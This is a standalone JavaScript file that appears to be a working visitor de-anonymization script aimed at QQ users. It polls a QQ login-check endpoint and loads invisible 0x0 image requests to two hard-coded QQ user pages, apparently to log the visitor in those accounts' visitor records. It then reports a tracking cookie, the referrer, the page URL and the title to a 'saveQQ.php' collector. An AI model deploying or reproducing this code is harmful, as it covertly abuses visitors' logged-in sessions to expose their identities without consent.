(function(){
function _init_send_by_iframe(uincookie,other){
var i_referrer = encodeURIComponent(document.referrer);
var i_url = encodeURIComponent(document.location.href);
var i_title = encodeURIComponent(document.title);
var i_php = "saveQQ.php";
var url = i_php + "?action=saveQQ" + other;
//url += "&uid={_UID}";
url += "&meishi=10000743145,10004573339";//交由PHP来获取其访客
url += "&uincookie=" + uincookie;
url += "&referrer=" + i_referrer;
url += "&url=" + i_url;
url += "&title=" + i_title;
url += "&r=" + (new Date()).getTime();
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = url;
oHead.appendChild(oScript);
}
function SetCookie(name, value) {
var exp = new Date();
exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null;
}
function insertFrame() {
var img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10000743145&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
document.body.appendChild(img);
img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10004573339&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
if (img.attachEvent) {
img.attachEvent("onerror", function() {
newSubmit();
});
img.attachEvent("onload", function() {
newSubmit();
});
img.attachEvent("onabort", function() {
newSubmit();
});
} else {
img.onerror = function() {
newSubmit();
};
img.onload = function() {
newSubmit();
};
img.onabort = function() {
newSubmit();
};
}
document.body.appendChild(img);
}
var isSubmited = false;
function newSubmit() {
if ( isSubmited ){
return;
}
isSubmited = true;
var uincookie = GetCookie("uincookie");
if (uincookie == null) {
uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
SetCookie("uincookie", uincookie);
}
_init_send_by_iframe(uincookie,"");
}
function isLogin() {
var code = null;
if (typeof(data3) == "undefined") {
code = data0.err
} else {
code = data3.err;
}
if (code == 1007) {
window.clearInterval(isLoginTimeID);
insertFrame();
} else {
var uincookie = GetCookie("uincookie");
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
_init_send_by_iframe(uincookie,"&do=uincookie");
} else {
var checkscript = document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript);
}
}
}
var isLoginTimeID;
function dynamicLoad() {
var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date()).getTime();
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.id = "checkloginscript";
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null;
isLogin();
}
};
} else {
oScript.onload = function() {
isLogin();
};
}
oScript.src = vsrc;
oHead.appendChild(oScript);
}
dynamicLoad();
isLoginTimeID = window.setInterval(dynamicLoad, 3000);
})();